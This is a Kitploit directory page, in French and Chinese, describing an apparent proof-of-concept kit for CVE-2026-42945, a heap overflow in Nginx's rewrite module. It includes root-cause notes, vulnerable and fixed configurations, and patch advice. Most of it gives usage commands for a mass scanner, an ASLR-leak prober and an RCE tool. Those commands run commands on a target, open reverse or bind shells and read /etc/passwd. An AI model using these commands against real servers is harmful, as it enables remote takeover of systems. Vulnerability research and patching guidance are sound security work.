Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/liaoziqi-gzfls/cve-2026-42945
ReconnaissanceAnalyse des VulnérabilitésExploitationCollecte d'InformationsSécurité WebFuzzingTests d'IntrusionDéveloppement de Charges UtilesExploitation de Binaires
GitHubliaoziqi-gzfls/cve-2026-42945

CVE-2026-42945

CVE-2026-42945 Nginx Rift

17il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Partager

CVE-2026-42945 Nginx Rift - Kit PoC

Un kit complet de preuve de concept pour CVE-2026-42945 (Nginx Rift), une vulnérabilité critique de débordement de tas (heap buffer overflow) dans le module ngx_http_rewrite_module de Nginx.


Résumé de la vulnérabilité

ChampDétails
Identifiant CVECVE-2026-42945
NomNginx Rift
TypeDébordement de tas
Composantngx_http_rewrite_module
SévéritéCritique (CVSS 9.2)
Versions affectéesNginx 0.6.27 - 1.30.0
CorrectionNginx 1.30.1 / 1.31.0

Cause racine

La vulnérabilité provient d’une erreur de calcul de taille entre deux passes internes lors du traitement des règles de réécriture (rewrite). Si une configuration utilise :

  • Des captures regex anonymes ($1, $2, etc.)
  • Combinées avec une chaîne de remplacement contenant ?

Nginx calcule mal la taille du tampon nécessaire lors de la première passe et écrit au‑delà du tampon alloué sur le tas lors de la seconde passe.

Exemple de configuration vulnérable

root@kitploit:~
server {
    # VULNÉRABLE : capture anonyme ($1) + '?' dans le remplacement
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Configuration sûre (corrigée)

root@kitploit:~
server {
    # SÛRE : capture nommée (?P<path>) remplace $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

Composants du kit

1. nginx_rift_poc.py – Outil PoC principal

Outil de scanner et d’exploitation pour une cible unique.

Fonctionnalités :

  • Détecter la version de Nginx à partir de l’en‑tête Server
  • Vérifier si la version est dans la plage vulnérable
  • Envoyer des charges HTTP conçues pour déclencher le débordement de tas
  • Générer des configurations de test vulnérables/sûres

Utilisation :

root@kitploit:~
# Détecter la version et tester la vulnérabilité
python nginx_rift_poc.py -t cible.example.com

# Tester avec une charge personnalisée
python nginx_rift_poc.py -t cible.example.com -p "/api/AAAA...?x=1"

# Cible HTTPS
python nginx_rift_poc.py -t cible.example.com --ssl -p 443

# Générer une configuration de test vulnérable
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Générer une configuration sûre (corrigée)
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py – Scanner de masse

Scanner par lots pour tester plusieurs cibles simultanément.

Fonctionnalités :

  • Scan multi‑threadé (50 threads par défaut)
  • Liste de cibles depuis un fichier ou une plage réseau CIDR
  • Sortie JSON pour intégration
  • Détection automatique SSL pour le port 443

Utilisation :

root@kitploit:~
# Scanner à partir d’un fichier de cibles (format : hôte:port par ligne)
python nginx_rift_scanner.py -f cibles.txt -o resultats.json

# Scanner une seule cible
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Scanner une plage réseau
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# Scan à haute vitesse
python nginx_rift_scanner.py -f cibles.txt --threads 100 -o resultats.json

Format du fichier de cibles :

root@kitploit:~
# Les commentaires commencent par #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py – Analyseur de configuration

Analyse les fichiers de configuration Nginx locaux à la recherche de motifs de réécriture vulnérables.

Fonctionnalités :

  • Analyser nginx.conf et suivre les directives include
  • Détecter les captures anonymes combinées avec ? dans les chaînes de remplacement
  • Correction automatique (avec sauvegarde)
  • Analyse récursive de répertoires

Utilisation :

root@kitploit:~
# Analyser un seul fichier
python config_checker.py /etc/nginx/nginx.conf

# Analyser un répertoire récursivement
python config_checker.py -d /etc/nginx/conf.d/

# Correction automatique des motifs vulnérables (crée une sauvegarde .bak)
python config_checker.py --fix /etc/nginx/nginx.conf

# Détection automatique des chemins Nginx courants
python config_checker.py

4. enhanced_poc.py – PoC RCE amélioré

Outil d’exploitation avancé basé sur la recherche officielle de depthfirst, prenant en charge plusieurs motifs de réécriture et modes d’exploitation.

Fonctionnalités :

  • Détection automatique de 8 motifs de réécriture vulnérables courants (/api/, /redirect/, /user/, etc.)
  • Prise en charge de plusieurs caractères déclencheurs de débordement (+, &, =, %)
  • Génération intelligente de charges avec taille de débordement contrôlée
  • Modes d’exploitation multiples : cmd / shell / bind / read
  • Adresses de base personnalisées (heap/libc) pour les environnements sans ASLR
  • Construction dynamique du corps de spray avec un faux ngx_pool_cleanup_s

Utilisation :

root@kitploit:~
# Détection automatique des motifs et de la version
python enhanced_poc.py -t cible.example.com --detect

# Exécuter une commande (ASLR désactivé)
python enhanced_poc.py -t cible.example.com --cmd "id > /tmp/pwned"

# Shell inversé
python enhanced_poc.py -t cible.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Shell lié
python enhanced_poc.py -t cible.example.com --bind --listen-port 5555

# Lire un fichier distant
python enhanced_poc.py -t cible.example.com --read /etc/passwd

# Base heap personnalisée (pour cibles sans ASLR)
python enhanced_poc.py -t cible.example.com --cmd "whoami" --heap-base 0x555555554000

# Utiliser & comme déclencheur de débordement
python enhanced_poc.py -t cible.example.com --cmd "id" --escape-char "&"

Détails des modes d’exploitation :

Configuration des adresses (ASLR désactivé uniquement) :

  • --heap-base : Adresse de base du tas (ex. 0x555555559000)
  • --libc-base : Adresse de base de libc (ex. 0x7ffff77ba000)
  • --system-addr : Adresse directe de system() (remplace libc-base)

5. aslr_leak_detector.py – Détecteur de fuites ASLR

Scanner complet pour détecter les fuites d’informations pouvant contourner la protection ASLR.

Fonctionnalités :

  • Détection de fuites dans les en‑têtes HTTP (Server, X-Powered-By, etc.)
  • Analyse des pages d’erreur pour les adresses mémoire et les traces de pile
  • Sondage de points d’accès spécifiques à Nginx (/nginx_status, /actuator/*, etc.)
  • Détection de fuites d’adresses mémoire (pointeurs 64 bits, adresses heap/libc/stack)
  • Sondage de la disposition du tas via analyse temporelle
  • Inférence de l’état ASLR (activé/désactivé/faible)
  • Intégration directe avec enhanced_poc.py via un rapport JSON

Utilisation :

root@kitploit:~
# Scanner une seule cible
python aslr_leak_detector.py -t cible.example.com

# Scanner avec SSL
python aslr_leak_detector.py -t cible.example.com -p 443 --ssl

# Scanner à partir d’un fichier, sauvegarder le rapport
python aslr_leak_detector.py -f cibles.txt -p 80,443 -o rapport_fuites.json

# Scanner une plage réseau
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Mode scan rapide
python aslr_leak_detector.py -t cible.example.com --quick

Intégration avec le PoC amélioré :

root@kitploit:~
# Étape 1 : Détecter les fuites
python aslr_leak_detector.py -t cible.example.com -o fuites.json

# Étape 2 : Utiliser les adresses obtenues pour l’exploitation
python enhanced_poc.py -t cible.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

Indicateurs de détection de la vulnérabilité

L’outil PoC identifie la vulnérabilité à travers ces indicateurs :

IndicateurDescription

Installation

Aucune dépendance externe requise. Utilise uniquement la bibliothèque standard de Python.

root@kitploit:~
# Cloner ou télécharger le kit
git clone <url-du-dépôt>
cd CVE-2026-42945

# Vérifier la version de Python (3.7+ recommandé)
python3 --version

# Exécuter n’importe quel outil
python3 nginx_rift_poc.py --help

Versions affectées


Atténuation

Actions immédiates

  1. Corriger Nginx vers la version 1.30.1 (stable) ou 1.31.0 (mainline)
  2. Auditer les configurations pour les motifs de réécriture vulnérables
  3. Activer ASLR sur tous les hôtes exécutant des processus worker Nginx

Contournement par configuration

Si la correction n’est pas possible immédiatement, remplacer les captures anonymes par des captures nommées :

root@kitploit:~
# AVANT (VULNÉRABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# APRÈS (SÛR)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

Correction virtuelle WAF

Déployer des règles WAF pour bloquer les requêtes malformées ciblant les motifs de réécriture vulnérables.


Avertissement

Ce kit est destiné uniquement aux tests de sécurité autorisés et à des fins de recherche.

  • Utilisez‑le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite
  • L’accès non autorisé à des systèmes informatiques est illégal
  • Les auteurs ne sont pas responsables d’un usage abusif ou des dommages causés par cet outil
  • Testez toujours dans un environnement isolé avant une utilisation en production

CVE associées

Cette faille a été découverte avec trois autres problèmes de corruption mémoire :

CVEDescriptionSévérité
CVE-2026-42946Défaut d’allocation mémoire SCGI/UWSGIÉlevée
CVE-2026-40701Use‑after‑free dans la résolution DNS pour OCSPMoyenne
CVE-2026-42934Lecture hors limites lors du parsing UTF‑8

Références

  • Avis de sécurité F5
  • Sécurité Nginx
  • Détails CVE-2026-42945

Licence

Ce projet est fourni à des fins éducatives et de tests de sécurité autorisés.


Auteur : Équipe de recherche en sécurité Date : 2026-06-11


中文说明 (Chinese Documentation)

漏洞概述

CVE-2026-42945(Nginx Rift)是 Nginx ngx_http_rewrite_module 模块中的一个堆缓冲区溢出漏洞,自 2008 年(Nginx 0.6.27)就已存在,潜伏了约 18 年。

漏洞原理

在处理 rewrite 规则时,Nginx 内部会进行两次解析。如果配置中同时满足以下两个条件:

  1. 使用未命名正则捕获(如 $1、$2)
  2. 替换字符串中包含 ? 字符

Nginx 在第一遍解析时会错误计算缓冲区大小,在第二遍解析时写入超出堆缓冲区边界的数据,导致堆溢出。

脆弱配置示例(有漏洞)

root@kitploit:~
server {
    # 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

安全配置示例(已修复)

root@kitploit:~
server {
    # 安全:使用命名捕获 (?P<name>) 替代 $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

工具组件说明

1. nginx_rift_poc.py — 核心 PoC 工具

单目标漏洞检测与利用工具。

功能:

  • 从 Server 响应头检测 Nginx 版本
  • 判断版本是否在脆弱范围内
  • 发送精心构造的 HTTP 请求触发堆溢出
  • 生成用于测试的脆弱/安全配置

使用示例:

root@kitploit:~
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com

# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py — 批量扫描器

多线程并发扫描多个目标。

功能:

  • 默认 50 线程并发扫描
  • 支持从文件或 CIDR 网段读取目标
  • JSON 格式输出结果
  • 自动识别 443 端口的 SSL 连接

使用示例:

root@kitploit:~
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json

# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

目标文件格式:

root@kitploit:~
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py — 配置文件检查器

扫描本地 Nginx 配置文件中的脆弱 rewrite 模式。

功能:

  • 解析 nginx.conf 并递归解析 include 引用的文件
  • 检测包含未命名捕获 + ? 的 rewrite 指令
  • 支持自动修复(自动创建 .bak 备份)
  • 递归扫描目录

使用示例:

root@kitploit:~
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf

# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/

# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf

# 自动探测常见 Nginx 配置路径
python config_checker.py

4. enhanced_poc.py — 增强版 RCE PoC

基于 depthfirst 官方研究的高级漏洞利用工具,支持多种 rewrite 模式和利用方式。

功能:

  • 自动探测 8 种常见脆弱 rewrite 模式(/api/、/redirect/、/user/ 等)
  • 支持多种溢出触发字符(+、&、=、%)
  • 智能 payload 生成,精确控制溢出大小
  • 多种利用模式:cmd / shell / bind / read
  • 自定义堆/libc 基址(用于 ASLR 关闭环境)
  • 动态构造 spray body,包含 fake ngx_pool_cleanup_s

溢出触发字符扩展表:

使用示例:

root@kitploit:~
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect

# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

利用模式说明:

地址配置(仅 ASLR 关闭环境):

  • --heap-base: 目标堆基址(如 0x555555559000)
  • --libc-base: libc 基址(如 0x7ffff77ba000)
  • --system-addr: 直接指定 system() 地址

5. aslr_leak_detector.py — ASLR 信息泄露检测工具

综合扫描器,检测可用于绕过 ASLR 防护的信息泄露漏洞。

功能:

  • HTTP 响应头泄露检测(Server、X-Powered-By 等)
  • 错误页面分析(内存地址、堆栈跟踪)
  • Nginx 特定端点探测(/nginx_status、/actuator/* 等)
  • 内存地址泄露检测(64位指针、堆/libc/栈地址)
  • 堆布局探测(通过响应时间差异推断内存状态)
  • ASLR 状态推断(开启/关闭/弱)
  • 通过 JSON 报告直接与 enhanced_poc.py 集成

使用示例:

root@kitploit:~
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com

# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick

与增强版 PoC 的联动使用:

root@kitploit:~
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json

# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

漏洞检测指标

PoC 工具通过以下现象判断目标是否存在漏洞:

检测指标说明
连接断开目标异常关闭连接(Worker 进程崩溃)
网关错误返回 HTTP 502/503/504(Worker 进程已死)
响应变慢响应时间显著增加(进程崩溃后自动重启)
空响应体

安装方法

无需安装任何第三方依赖,仅使用 Python 标准库即可运行。

root@kitploit:~
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945

# 验证 Python 版本(推荐 3.7+)
python3 --version

# 查看工具帮助
python3 nginx_rift_poc.py --help

影响版本


缓解措施

紧急处置建议

  1. 立即升级 Nginx 到 1.30.1(稳定版)或 1.31.0(主线版)
  2. 审计配置文件 中是否存在脆弱的 rewrite 模式
  3. 开启 ASLR 地址空间布局随机化,增加 RCE 利用难度

临时缓解方案(无法立即升级时)

将未命名捕获替换为命名捕获:

root@kitploit:~
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

WAF 虚拟补丁

部署 Web 应用防火墙规则,拦截针对脆弱 rewrite 模式的恶意请求。


免责声明

本工具包仅供授权的安全测试和研究用途。

  • 仅对您拥有所有权或已获得明确授权的系统使用本工具
  • 未经授权访问计算机系统是违法行为
  • 作者不对本工具的滥用或造成的损害承担责任
  • 请始终在隔离环境中测试后再用于生产环境

相关漏洞

此漏洞是由 depthfirst 的 AI 驱动静态分析系统发现的一系列内存损坏问题之一:

CVE 编号描述等级
CVE-2026-42946SCGI/UWSGI 内存分配缺陷高危
CVE-2026-40701OCSP DNS 解析 UAF中危
CVE-2026-42934UTF-8 解析越界读取中危

参考链接

  • F5 安全公告
  • Nginx 安全公告
  • CVE-2026-42945 详情
  • SonicWall 技术分析
  • Cloud Security Alliance 研究报告

开源协议

本项目仅供教育用途和授权安全测试使用。


作者: Security Research Team 日期: 2026-06-11

Télécharger l’outil
ModeDescriptionSortie
cmdExécute une commande shell uniqueSortie de la commande sur la cible
shellGénère un shell inverséConnexion vers --listen-ip:listen-port
bindGénère un shell lié sur la cibleÉcoute sur --listen-port sur la cible
readLit un fichier sur la cibleContenu écrit dans /tmp/nginx_rift_read
Connexion abandonnéeLa cible ferme la connexion de manière inattendue (crash du worker)
Erreurs de passerelleRéponses HTTP 502/503/504 (processus worker mort)
Réponses lentesLe temps de réponse augmente significativement (récupération après crash)
Réponses videsLe corps de la réponse disparaît par rapport à la référence
Correspondance de versionLa version détectée de Nginx est dans la plage vulnérable
ProduitAffectéesCorrigées
Nginx Open Source0.6.27 - 1.30.01.30.1 / 1.31.0
Nginx PlusR32 - R36R32 P6 / R36 P4
Nginx Ingress ControllerToutes versions < correctifsMettre à jour vers la version corrigée
Nginx Gateway FabricToutes versions < correctifsMettre à jour vers la version corrigée
Moyenne
字段详情
CVE 编号CVE-2026-42945
漏洞名称Nginx Rift
漏洞类型堆缓冲区溢出(Heap Buffer Overflow)
影响组件ngx_http_rewrite_module
危害等级严重(CVSS 9.2)
影响版本Nginx 0.6.27 - 1.30.0
修复版本Nginx 1.30.1 / 1.31.0
字符扩展为每字符溢出
+%2B+2 字节
&%26+2 字节
=%3D+2 字节
%%25+2 字节
空格%20+2 字节
模式说明输出
cmd执行单条 shell 命令命令输出保存在目标上
shell生成反弹 shell连接回 --listen-ip:listen-port
bind生成绑定 shell在目标 --listen-port 上监听
read读取目标文件内容写入 /tmp/nginx_rift_read
与基线对比,响应体为空(Worker 已崩溃)
版本匹配检测到的 Nginx 版本在脆弱范围内
产品受影响版本修复版本
Nginx 开源版0.6.27 - 1.30.01.30.1 / 1.31.0
Nginx PlusR32 - R36R32 P6 / R36 P4
Nginx Ingress Controller未打补丁的所有版本更新到已修复版本
Nginx Gateway Fabric未打补丁的所有版本更新到已修复版本